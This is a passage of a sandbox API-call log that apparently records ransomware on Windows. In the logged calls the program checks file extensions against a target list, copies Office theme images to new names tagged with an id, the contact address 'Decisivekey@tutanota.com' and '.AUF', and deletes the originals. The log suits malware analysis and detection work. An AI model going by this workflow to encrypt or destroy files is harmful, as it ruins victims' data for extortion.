Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".zip") returned 4 [0213.471] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString=".rar") returned 4 [0213.471] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString=".bz2") returned 4 [0213.471] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.471] lstrlenW (lpString=".7z") returned 3 [0213.471] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".dbf") returned 4 [0213.471] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".1cd") returned 4 [0213.471] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".jpg") returned 4 [0213.471] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".doc") returned 4 [0213.471] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.471] lstrlenW (lpString=".docx") returned 5 [0213.471] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.471] lstrlenW (lpString=".pdf") returned 4 [0213.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString=".xls") returned 4 [0213.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString=".xlsx") returned 5 [0213.471] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.471] lstrlenW (lpString=".ppt") returned 4 [0213.471] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".zip") returned 4 [0213.471] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString=".rar") returned 4 [0213.471] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString=".bz2") returned 4 [0213.471] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.471] lstrlenW (lpString=".7z") returned 3 [0213.471] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".dbf") returned 4 [0213.471] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.471] lstrlenW (lpString=".1cd") returned 4 [0213.471] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.472] lstrlenW (lpString=".jpg") returned 4 [0213.472] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.472] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.472] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.472] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=15737) returned 1 [0213.472] CloseHandle (hObject=0x184) returned 1 [0213.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0213.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.472] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.472] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0213.473] GetLastError () returned 0x0 [0213.473] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0213.482] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0213.483] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.483] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.483] SetEndOfFile (hFile=0x20c) returned 1 [0213.483] CloseHandle (hObject=0x20c) returned 1 [0213.483] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.483] SetEndOfFile (hFile=0x184) returned 1 [0213.484] CloseHandle (hObject=0x184) returned 1 [0213.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.485] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString=".doc") returned 4 [0213.485] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.485] lstrlenW (lpString=".docx") returned 5 [0213.485] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.485] lstrlenW (lpString=".pdf") returned 4 [0213.485] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.485] lstrlenW (lpString=".xls") returned 4 [0213.485] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.485] lstrlenW (lpString=".xlsx") returned 5 [0213.485] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.485] lstrlenW (lpString=".ppt") returned 4 [0213.485] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString=".zip") returned 4 [0213.485] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.485] lstrlenW (lpString=".rar") returned 4 [0213.485] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.485] lstrlenW (lpString=".bz2") returned 4 [0213.485] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.485] lstrlenW (lpString=".7z") returned 3 [0213.485] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString=".dbf") returned 4 [0213.485] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString=".1cd") returned 4 [0213.485] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString=".jpg") returned 4 [0213.485] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.485] lstrlenW (lpString=".doc") returned 4 [0213.485] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.486] lstrlenW (lpString=".docx") returned 5 [0213.486] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.486] lstrlenW (lpString=".pdf") returned 4 [0213.486] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.486] lstrlenW (lpString=".xls") returned 4 [0213.486] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.486] lstrlenW (lpString=".xlsx") returned 5 [0213.486] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.486] lstrlenW (lpString=".ppt") returned 4 [0213.486] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.486] lstrlenW (lpString=".zip") returned 4 [0213.486] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.486] lstrlenW (lpString=".rar") returned 4 [0213.486] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.486] lstrlenW (lpString=".bz2") returned 4 [0213.486] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.486] lstrlenW (lpString=".7z") returned 3 [0213.486] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.486] lstrlenW (lpString=".dbf") returned 4 [0213.486] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.486] lstrlenW (lpString=".1cd") returned 4 [0213.486] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0213.486] lstrlenW (lpString=".jpg") returned 4 [0213.486] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.486] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.486] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.487] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3970) returned 1 [0213.487] CloseHandle (hObject=0x184) returned 1 [0213.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0213.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.487] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.487] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0213.489] GetLastError () returned 0x0 [0213.489] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xf82, lpOverlapped=0x0) returned 1 [0213.493] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0213.493] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.493] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.493] SetEndOfFile (hFile=0x220) returned 1 [0213.494] CloseHandle (hObject=0x220) returned 1 [0213.494] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.494] SetEndOfFile (hFile=0x184) returned 1 [0213.494] CloseHandle (hObject=0x184) returned 1 [0213.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.495] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0213.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.495] lstrlenW (lpString=".doc") returned 4 [0213.495] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.495] lstrlenW (lpString=".docx") returned 5 [0213.495] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.495] lstrlenW (lpString=".pdf") returned 4 [0213.495] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.495] lstrlenW (lpString=".xls") returned 4 [0213.495] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.495] lstrlenW (lpString=".xlsx") returned 5 [0213.495] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.495] lstrlenW (lpString=".ppt") returned 4 [0213.495] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.495] lstrlenW (lpString=".zip") returned 4 [0213.495] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.495] lstrlenW (lpString=".rar") returned 4 [0213.495] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.495] lstrlenW (lpString=".bz2") returned 4 [0213.495] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.495] lstrlenW (lpString=".7z") returned 3 [0213.495] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.495] lstrlenW (lpString=".dbf") returned 4 [0213.495] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString=".1cd") returned 4 [0213.496] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString=".jpg") returned 4 [0213.496] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString=".doc") returned 4 [0213.496] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.496] lstrlenW (lpString=".docx") returned 5 [0213.496] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.496] lstrlenW (lpString=".pdf") returned 4 [0213.496] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.496] lstrlenW (lpString=".xls") returned 4 [0213.496] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.496] lstrlenW (lpString=".xlsx") returned 5 [0213.496] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.496] lstrlenW (lpString=".ppt") returned 4 [0213.496] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString=".zip") returned 4 [0213.496] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.496] lstrlenW (lpString=".rar") returned 4 [0213.496] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.496] lstrlenW (lpString=".bz2") returned 4 [0213.496] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.496] lstrlenW (lpString=".7z") returned 3 [0213.496] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString=".dbf") returned 4 [0213.496] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString=".1cd") returned 4 [0213.496] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0213.496] lstrlenW (lpString=".jpg") returned 4 [0213.496] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.497] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.497] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.497] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=53115) returned 1 [0213.497] CloseHandle (hObject=0x184) returned 1 [0213.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0213.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.497] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.497] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0213.498] GetLastError () returned 0x0 [0213.498] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0213.605] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0213.607] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.607] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.608] SetEndOfFile (hFile=0x220) returned 1 [0213.608] CloseHandle (hObject=0x220) returned 1 [0213.608] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.608] SetEndOfFile (hFile=0x184) returned 1 [0213.609] CloseHandle (hObject=0x184) returned 1 [0213.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.609] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0213.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0213.611] lstrlenW (lpString=".doc") returned 4 [0213.611] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.611] lstrlenW (lpString=".docx") returned 5 [0213.611] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.611] lstrlenW (lpString=".pdf") returned 4 [0213.611] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.611] lstrlenW (lpString=".xls") returned 4 [0213.611] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.611] lstrlenW (lpString=".xlsx") returned 5 [0213.611] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.611] lstrlenW 